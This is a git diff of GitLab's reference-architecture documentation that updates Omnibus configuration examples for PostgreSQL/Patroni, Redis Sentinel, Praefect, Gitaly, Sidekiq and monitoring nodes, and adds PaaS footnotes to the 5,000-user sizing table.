+ postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>'
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
@@ -612,9 +628,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind`
Like most failover handling methods, this has a small chance of leading to data loss.
Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method).
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -629,21 +644,7 @@ are supported and can be added if needed.
#### PostgreSQL post-configuration
-SSH in to the **primary node**:
-
-1. Open a database prompt:
-
- ```shell
- gitlab-psql -d gitlabhq_production
- ```
-
-1. Make sure the `pg_trgm` extension is enabled (it might already be):
-
- ```shell
- CREATE EXTENSION pg_trgm;
- ```
-
-1. Exit the database prompt by typing `\q` and Enter.
+SSH in to any of the Patroni nodes on the **primary site**:
1. Check the status of the leader and cluster:
@@ -685,7 +686,7 @@ The following IPs will be used as an example:
```ruby
# Disable all components except Pgbouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# Configure PgBouncer
pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
@@ -702,7 +703,6 @@ The following IPs will be used as an example:
# Configure Consul agent
consul['watchers'] = %w(postgresql)
- consul['enable'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
@@ -714,9 +714,8 @@ The following IPs will be used as an example:
node_exporter['listen_address'] = '0.0.0.0:9100'
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -835,8 +834,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -858,7 +857,6 @@ a node and change its status from primary to replica (and vice versa).
redis['maxmemory_samples'] = 5
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -870,19 +868,22 @@ a node and change its status from primary to replica (and vice versa).
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
-
+ redis_exporter['flags'] = {
+ 'redis.addr' => 'redis://10.6.0.51:6379',
+ 'redis.password' => 'redis-password-goes-here',
+ }
+
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
#### Configure the replica Redis Cache nodes
@@ -895,8 +896,8 @@ You can specify multiple roles, like sentinel and Redis, as:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -925,7 +926,6 @@ You can specify multiple roles, like sentinel and Redis, as:
redis['maxmemory_samples'] = 5
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -937,21 +937,25 @@ You can specify multiple roles, like sentinel and Redis, as:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
redis_exporter['listen_address'] = '0.0.0.0:9121'
+ redis_exporter['flags'] = {
+ 'redis.addr' => 'redis://10.6.0.52:6379',
+ 'redis.password' => 'redis-password-goes-here',
+ }
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -993,7 +997,7 @@ To configure the Sentinel Cache server:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role']
+ roles(['redis_sentinel_role', 'consul_role'])
## Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis-cache'
@@ -1057,7 +1061,6 @@ To configure the Sentinel Cache server:
#sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1074,11 +1077,11 @@ To configure the Sentinel Cache server:
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Consul/Sentinel nodes, and
make sure you set up the correct IPs.
@@ -1106,8 +1109,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -1123,7 +1126,6 @@ a node and change its status from primary to replica (and vice versa).
redis['password'] = 'REDIS_PRIMARY_PASSWORD_OF_SECOND_CLUSTER'
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1140,9 +1142,8 @@ a node and change its status from primary to replica (and vice versa).
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -1160,8 +1161,8 @@ You can specify multiple roles, like sentinel and Redis, as:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -1184,7 +1185,6 @@ You can specify multiple roles, like sentinel and Redis, as:
#redis['master_port'] = 6379
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1201,16 +1201,16 @@ You can specify multiple roles, like sentinel and Redis, as:
gitlab_rails['auto_migrate'] = false
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -1252,7 +1252,7 @@ To configure the Sentinel Queues server:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role']
+ roles(['redis_sentinel_role', 'consul_role'])
## Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis-persistent'
@@ -1316,7 +1316,6 @@ To configure the Sentinel Queues server:
#sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -1333,7 +1332,7 @@ To configure the Sentinel Queues server:
gitlab_rails['auto_migrate'] = false
```
-1. To prevent database migrations from running on upgrade, run:
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
```shell
sudo touch /etc/gitlab/skip-auto-reconfigure
@@ -1341,11 +1340,11 @@ To configure the Sentinel Queues server:
Only the primary GitLab application server should handle migrations.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Go through the steps again for all the other Sentinel nodes, and
make sure you set up the correct IPs.
@@ -1406,9 +1405,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
```ruby
# Disable all components except PostgreSQL and Consul
- roles ['postgres_role']
- repmgr['enable'] = false
- patroni['enable'] = false
+ roles(['postgres_role', 'consul_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -1418,7 +1415,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -1444,7 +1440,11 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# END user configuration
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Follow the [post configuration](#praefect-postgresql-post-configuration).
<div align="right">
@@ -1542,19 +1542,18 @@ To configure the Praefect nodes, on each one:
1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect:
```ruby
- # Avoid running unnecessary services on the Gitaly server
+ # Avoid running unnecessary services on the Praefect server
+ gitaly['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Praefect Configuration
praefect['enable'] = true
@@ -1592,19 +1591,20 @@ To configure the Praefect nodes, on each one:
# server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1')
praefect['virtual_storages'] = {
'default' => {
- 'gitaly-1' => {
- 'address' => 'tcp://10.6.0.91:8075',
- 'token' => '<praefect_internal_token>',
- 'primary' => true
- },
- 'gitaly-2' => {
- 'address' => 'tcp://10.6.0.92:8075',
- 'token' => '<praefect_internal_token>'
- },
- 'gitaly-3' => {
- 'address' => 'tcp://10.6.0.93:8075',
- 'token' => '<praefect_internal_token>'
- },
+ 'nodes' => {
+ 'gitaly-1' => {
+ 'address' => 'tcp://10.6.0.91:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-2' => {
+ 'address' => 'tcp://10.6.0.92:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-3' => {
+ 'address' => 'tcp://10.6.0.93:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ }
}
}
@@ -1621,11 +1621,25 @@ To configure the Praefect nodes, on each one:
# END user configuration
```
- 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
- 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Praefect requires to run some database migrations, much like the main GitLab application. For this
+ you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
+ must be configured first before the others as follows:
+
+ 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
+
+ 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
+ to run the Praefect database migrations.
+
+1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
### Configure Gitaly
@@ -1669,21 +1683,17 @@ On each node:
storage paths, enable the network listener, and to configure the token:
```ruby
- # /etc/gitlab/gitlab.rb
-
# Avoid running unnecessary services on the Gitaly server
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1691,9 +1701,11 @@ On each node:
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your 'front door' GitLab URL or an internal load
# balancer.
- # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
+ # Gitaly
+ gitaly['enable'] = true
+
# Make Gitaly accept connections on all network interfaces. You must use
# firewalls to restrict access to this address/port.
# Comment out following line if you only want to support TLS connections
@@ -1735,9 +1747,8 @@ On each node:
})
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -1844,28 +1855,19 @@ To configure the Sidekiq nodes, on each one:
1. Open `/etc/gitlab/gitlab.rb` with your editor:
```ruby
- ########################################
- ##### Services Disabled ###
- ########################################
-
- nginx['enable'] = false
- grafana['enable'] = false
- prometheus['enable'] = false
- alertmanager['enable'] = false
+ # Avoid running unnecessary services on the Sidekiq server
gitaly['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = false
- puma['enable'] = false
- postgres_exporter['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- redis_exporter['enable'] = false
+ puma['enable'] = false
+ gitlab_workhorse['enable'] = false
+ prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
gitlab_exporter['enable'] = false
+ nginx['enable'] = false
- ########################################
- #### Redis ###
- ########################################
-
+ # Redis
## Redis connection details
## First cluster that will host the cache
gitlab_rails['redis_cache_instance'] = 'redis://:<REDIS_PRIMARY_PASSWORD_OF_FIRST_CLUSTER>@gitlab-redis-cache'
@@ -1897,10 +1899,7 @@ To configure the Sidekiq nodes, on each one:
{host: '10.6.0.83', port: 26379},
]
- #######################################
- ### Gitaly ###
- #######################################
-
+ # Gitaly
# git_data_dirs get configured for the Praefect virtual storage
# Address is Internal Load Balancer for Praefect
# Token is praefect_external_token
@@ -1911,31 +1910,26 @@ To configure the Sidekiq nodes, on each one:
}
})
- #######################################
- ### Postgres ###
- #######################################
+ # PostgreSQL
gitlab_rails['db_host'] = '10.6.0.20' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
- # Prevent database migrations from running on upgrade automatically
+ ## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
- #######################################
- ### Sidekiq configuration ###
- #######################################
+ # Sidekiq
+ sidekiq['enable'] = true
sidekiq['listen_address'] = "0.0.0.0"
- # Set number of Sidekiq queue processes to the same number as available CPUs
+ ## Set number of Sidekiq queue processes to the same number as available CPUs
sidekiq['queue_groups'] = ['*'] * 4
- # Set number of Sidekiq threads per queue process to the recommend number of 10
+ ## Set number of Sidekiq threads per queue process to the recommend number of 10
sidekiq['max_concurrency'] = 10
- #######################################
- ### Monitoring configuration ###
- #######################################
+ # Monitoring
consul['enable'] = true
consul['monitoring_service_discovery'] = true
@@ -1946,15 +1940,12 @@ To configure the Sidekiq nodes, on each one:
# Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Rails Status for prometheus
+ ## Add the monitoring node's IP address to the monitoring whitelist
gitlab_rails['monitoring_whitelist'] = ['10.6.0.151/32', '127.0.0.0/8']
- #############################
- ### Object storage ###
- #############################
-
- # This is an example for configuring Object Storage on GCP
- # Replace this config with your chosen Object Storage provider as desired
+ # Object storage
+ ## This is an example for configuring Object Storage on GCP
+ ## Replace this config with your chosen Object Storage provider as desired
gitlab_rails['object_store']['connection'] = {
'provider' => 'Google',
'google_project' => '<gcp-project-name>',
@@ -1967,11 +1958,26 @@ To configure the Sidekiq nodes, on each one:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
+ ```
+
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -2011,9 +2017,6 @@ On each node perform the following:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
1. Edit `/etc/gitlab/gitlab.rb` and use the following configuration.
To maintain uniformity of links across nodes, the `external_url`
@@ -2035,7 +2038,7 @@ On each node perform the following:
})
## Disable components that will not be on the GitLab application server
- roles ['application_role']
+ roles(['application_role'])
gitaly['enable'] = false
nginx['enable'] = true
sidekiq['enable'] = false
@@ -2108,9 +2111,15 @@ On each node perform the following:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. If you're using [Gitaly with TLS support](#gitaly-cluster-tls-support), make sure the
`git_data_dirs` entry is configured with `tls` instead of `tcp`:
@@ -2129,6 +2138,20 @@ On each node perform the following:
sudo cp cert.pem /etc/gitlab/trusted-certs/
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. If you're [using NFS](#configure-nfs-optional):
1. If necessary, install the NFS client utility packages using the following
commands:
@@ -2168,7 +2191,7 @@ On each node perform the following:
registry['gid'] = 9002
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+ 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. Confirm the node can connect to Gitaly:
```shell
@@ -2232,52 +2255,30 @@ To configure the Monitoring node:
1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab
package of your choice. Be sure to follow _only_ installation steps 1 and 2
on the page.
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- external_url 'http://gitlab.example.com'
+ roles(['monitoring_role', 'consul_role'])
- # Disable all other services
- alertmanager['enable'] = false
- gitaly['enable'] = false
- gitlab_exporter['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = true
- postgres_exporter['enable'] = false
- postgresql['enable'] = false
- redis['enable'] = false
- redis_exporter['enable'] = false
- sidekiq['enable'] = false
- puma['enable'] = false
- unicorn['enable'] = false
- node_exporter['enable'] = false
- gitlab_exporter['enable'] = false
+ external_url 'http://gitlab.example.com'
- # Enable Prometheus
- prometheus['enable'] = true
+ # Prometheus
prometheus['listen_address'] = '0.0.0.0:9090'
prometheus['monitor_kubernetes'] = false
- # Enable Login form
- grafana['disable_login_form'] = false
-
- # Enable Grafana
- grafana['enable'] = true
+ # Grafana
grafana['admin_password'] = '<grafana_password>'
+ grafana['disable_login_form'] = false
# Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Prevent database migrations from running on upgrade automatically
- gitlab_rails['auto_migrate'] = false
+ # Nginx - For Grafana access
+ nginx['enable'] = true
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md
index 792dd7020c7..9952df196c9 100644
--- a/doc/administration/reference_architectures/5k_users.md
+++ b/doc/administration/reference_architectures/5k_users.md
@@ -24,26 +24,31 @@ costly-to-operate environment by using the
| Service | Nodes | Configuration | GCP | AWS | Azure |
|--------------------------------------------|-------------|-------------------------|-----------------|--------------|----------|
-| External load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Redis** | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
-| Consul* + Sentinel** | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| PostgreSQL* | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
-| PgBouncer* | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Internal load balancing node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| External load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Redis(2) | 3 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
+| Consul(1) + Sentinel(2) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| PostgreSQL(1) | 3 | 4 vCPU, 15 GB memory | `n1-standard-4` | `m5.xlarge` | `D4s v3` |
+| PgBouncer(1) | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Internal load balancing node(3) | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Gitaly | 3 | 8 vCPU, 30 GB memory | `n1-standard-8` | `m5.2xlarge` | `D8s v3` |
| Praefect | 3 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Praefect PostgreSQL* | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
+| Praefect PostgreSQL(1) | 1+ | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
| Sidekiq | 4 | 2 vCPU, 7.5 GB memory | `n1-standard-2` | `m5.large` | `D2s v3` |
| GitLab Rails | 3 | 16 vCPU, 14.4 GB memory | `n1-highcpu-16` | `c5.4xlarge` | `F16s v2`|
| Monitoring node | 1 | 2 vCPU, 1.8 GB memory | `n1-highcpu-2` | `c5.large` | `F2s v2` |
-| Object storage | n/a | n/a | n/a | n/a | n/a |
+| Object storage(4) | n/a | n/a | n/a | n/a | n/a |
| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | `n1-highcpu-4` | `c5.xlarge` | `F4s v2` |
+<!-- Disable ordered list rule https://github.com/DavidAnson/markdownlint/blob/main/doc/Rules.md#md029---ordered-list-item-prefix -->
+<!-- markdownlint-disable MD029 -->
+1. Can be optionally run on reputable third-party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work, however Azure Database for PostgreSQL is [not recommended](https://gitlab.com/gitlab-org/quality/reference-architectures/-/issues/61) due to performance issues. Consul is primarily used for PostgreSQL high availability so can be ignored when using a PostgreSQL PaaS setup. However it is also used optionally by Prometheus for Omnibus auto host discovery.
+2. Can be optionally run on reputable third-party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+3. Can be optionally run on reputable third-party load balancing services (LB PaaS). AWS ELB is known to work.
+4. Should be run on reputable third party object storage (storage PaaS) for cloud implementations. Google Cloud Storage and AWS S3 are known to work.
+<!-- markdownlint-enable MD029 -->
+
NOTE:
-Components marked with * can be optionally run on reputable
-third party external PaaS PostgreSQL solutions. Google Cloud SQL and AWS RDS are known to work.
-Components marked with ** can be optionally run on reputable
-third party external PaaS Redis solutions. Google Memorystore and AWS Elasticache are known to work.
+For all PaaS solutions that involve configuring instances, it is strongly recommended to implement a minimum of three nodes in three different availability zones to align with resilient cloud architecture practices.
```plantuml
@startuml 5k
@@ -161,7 +166,7 @@ To set up GitLab and its components to accommodate up to 5,000 users:
